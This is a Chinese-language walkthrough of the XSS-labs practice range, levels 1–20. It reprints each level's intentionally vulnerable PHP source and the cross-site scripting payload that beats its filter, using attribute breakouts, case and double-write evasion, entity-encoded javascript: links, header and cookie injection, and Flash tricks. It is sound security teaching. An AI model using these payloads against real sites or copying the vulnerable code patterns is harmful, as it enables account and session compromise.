XSS-labs靶场(超详解)1-20关——附原码

level1

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
//echo "<h2 align=center>欢迎用户"<script>alert(1)</script>"</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

注入点在

$str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>";

会直接执行get传来的参数。

若注入语句为<script>alert(1)</script>,代码将变为

echo "<h2 align=center>欢迎用户"<script>alert(1)</script>"</h2>";

会执行我们注入的js语句。

找到页面中的注入点,点击图片,来到第一关

我们发现url上会传递name参数。尝试注入

level2

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//输出一个html
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars 函数用于将特殊字符转换为 HTML 实体(如 &, <, >, "'),以防止 XSS 攻击,确保用户输入不会干扰 HTML 结构。

关键代码为涉及传参的代码

h2中应用了htmlspecialchars 函数,无法直接进行js注入,<>被转换成了html实体。

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

input中为直接传参,这里为注入点。

<input name=keyword value="'.$str.'">

在注入时要对input代码进行闭合

"><script>alert(1)</script>

原代码

注入后

level3

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

关键代码中,对两处传参都应用了应用了htmlspecialchars 函数

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

<input name=keyword value='".htmlspecialchars($str)."'>

htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件

onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的,构造payload

' onfocus=javascript:alert() '

点击搜索框

level4

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//对<>进行过滤
$str3=str_replace("<","",$str2);
//<input>标签value是双引号闭合,还能继续利用onfocus事件,构建payload
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

这里对<>进行过滤

str2=str_replace("\>","",str);

str3=str_replace("\<","",str2);

<input>标签value是双引号闭合,还能继续利用onfocus事件,构建payload

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<input name=keyword value="'.$str3.'">

" onfocus=javascript:alert() "

level5

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);                     //所有字母转为小写
$str2=str_replace("<script","<scr_ipt",$str);            //将<script替换为<scr_ipt,过滤了js的标签
$str3=str_replace("on","o_n",$str2);                     //将on替换为o_n,过滤了onfocus事件
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

所有字母转为小写

str = strtolower(_GET["keyword"]);

将<script替换为<scr_ipt,过滤了js的标签

str2=str_replace("\str);

将on替换为o_n,过滤了onfocus事件

str3=str_replace("on","o_n",str2);

这里我们用a href标签法

href属性的意思是当标签<a>被点击的时候,就会触发执行转跳

添加一个标签得闭合前面的标签,构建payload

"> <a href=javascript:alert()>xxx</a> <"

对前后的代码进行闭合,并插入<a>

<input name=keyword value="'"> <a href=javascript:alert()>xxx</a> <"'">

点击xxx,触发a标签href属性

level6

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

禁掉了好多,但没有禁大小写。

str2=str_replace("\str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

利用大小写进行绕过str_replace()函数

"> <sCript>alert()</sCript> <"

" Onfocus=javascript:alert() "

"> <a hRef=javascript:alert()>x</a> <"

level7

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这次把大小写也禁掉了,用双写绕过

$str =strtolower( $_GET["keyword"]);

str2=str_replace("script","",str);

str3=str_replace("on","",str2);

str4=str_replace("src","",str3);

str5=str_replace("data","",str4);

str6=str_replace("href","",str5);

on,写成oonn,中间on被删掉,就是on

script,写成scscriptipt,script被删掉,就是script

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

比上一关多禁了一个"

str = strtolower(_GET["keyword"]);

str2=str_replace("script","scr_ipt",str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

str7=str_replace('"','\"',str6);

这次利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()

利用在线工具进行Unicode编码后得到

Unicode在线编码解码工具 - MKLab在线工具

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0029;

添加链接后,点击友情链接

level9

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

判断链接中是否有http://

if(false===strpos($str7,'http://'))

{

echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

}

else

{

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

}

值只需上一题Unicode编码后注释上http://即可

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0029;/* http:// */

level10

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

有隐藏参数t_sort,过滤了<>

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

str22=str_replace("\>","",str11);

str33=str_replace("\<","",str22);

用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

?t_sort=" onfocus=javascript:alert() type="text

<input name="t_sort" value="'" οnfοcus=javascript:alert() type="text'" type="hidden">

点击文本框

level11

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从代码可以看出t_ref接收的是http头文件中referer的值

str11=_SERVER['HTTP_REFERER'];

str22=str_replace("\>","",str11);

str33=str_replace("\<","",str22);

<input name="t_ref" value="'.$str33.'" type="hidden">

查看网页源代码和抓包也可以发现这一点

我们可以通过修改referer头来进行注入,前面过滤了<>,用onfocus,构造一个http头

Referer: " onfocus=javascript:alert() type="text

出现输入框

点击完成

level12

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从代码中可以看到这次是U-A头

str11=_SERVER['HTTP_USER_AGENT'];

和上一题相同,这次换成U-A头

level13

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这次是cookie

str11=_COOKIE["user"];

onclick作用与onfocus相同

" onclick=alert() type="text 

level14

原码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

这里会定时转跳到一个网站,但网站好像挂了

原题是想利用转跳到的网站,在网站去上传一个属性里面含有xss代码的图片,以达到弹窗的效果。

level15

原码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

关键代码

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

ng-include指令是文件包涵,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号。

包含第一关

?src='./level1.php'

包涵第一关并让第一关弹窗(注:这里不能包涵那些直接弹窗、如<script>,但可以包涵标签、如<a>、<input>、<img>、<p>标签等,这些标签需要手动点击弹窗),这里我们使用img标签,可参考XSS常见的触发标签,构造payload

?src='./level1.php?name=<img src=1 onmouseover=alert()>'

拼接第一关

利用第一关的漏洞

level16

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

过滤了空格

str = strtolower(_GET["keyword"]);

str2=str_replace("script","\ ",str);

str3=str_replace(" ","\ ",str2);

str4=str_replace("/","\ ",str3);

str5=str_replace(" ","\ ",str4);

空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,构造payload

?keyword=<svg%0Aonload=alert(1)>

level17

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

关键代码

<embed src=xsf01.swf?".htmlspecialchars(_GET\["arg01"\])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>

<embed> 标签是 HTML 的一个用于嵌入多媒体内容的标签。虽然它在旧版浏览器中被广泛使用,但由于现代浏览器和标准的发展,<embed> 标签已经较少用于嵌入内容。通常推荐使用 <object> 标签或者 <iframe> 标签来替代。尽管如此,<embed> 标签在特定场景下仍然有效,特别是在处理 Flash 内容(尽管 Flash 现在已经过时)。

src: 嵌入的文件路径或 URL。
width: 嵌入内容的宽度。
height: 嵌入内容的高度。

这里src=xsf01.swf,需要一个支持flash插件的浏览器才能打开。

也可以在后端将改指向的swf文件改为index.png

echo "<embed src=index.png?".htmlspecialchars(_GET\["arg01"\])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";

在embed标签的区域构造payload

?arg02= onclick=alert()

进入后,点击embed标签的区域,即可弹出

level18

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

关键代码

<embed src=xsf02.swf?".htmlspecialchars(_GET\["arg01"\])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>

和上一关差不多

这里用οnmοusedοwn=alert()是因为οnmοusedοwn=alert()可以用于.swf文件,οnclick=alert()不行,如果将文件换为.png就可以用17题的payload

?arg02= onmousedown=alert()

level19

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

与之前src="xsf03.swf?'不同,有",用到的是Flash Xss注入,可参考

Level 19 Flash XSSFlash XSS 漏洞详解

往Flash里面插入一段js代码,然后手动执行嘛,构造payload

?arg01=version&arg02=<a href="javascript:alert()">here</a>

Flash xss了解一下就好,大多数浏览器用不上flash插件

level20

原码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

有"要反编译src="xsf04.swf?'。

构造payload

?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123
相关推荐
Jiaberrr几秒前
前端实战:使用JS和Canvas实现运算图形验证码(uniapp、微信小程序同样可用)
前端·javascript·vue.js·微信小程序·uni-app
everyStudy25 分钟前
JS中判断字符串中是否包含指定字符
开发语言·前端·javascript
城南云小白25 分钟前
web基础+http协议+httpd详细配置
前端·网络协议·http
前端小趴菜、25 分钟前
Web Worker 简单使用
前端
web_learning_32128 分钟前
信息收集常用指令
前端·搜索引擎
tabzzz36 分钟前
Webpack 概念速通:从入门到掌握构建工具的精髓
前端·webpack
200不是二百1 小时前
Vuex详解
前端·javascript·vue.js
滔滔不绝tao1 小时前
自动化测试常用函数
前端·css·html5
码爸1 小时前
flink doris批量sink
java·前端·flink
深情废杨杨1 小时前
前端vue-父传子
前端·javascript·vue.js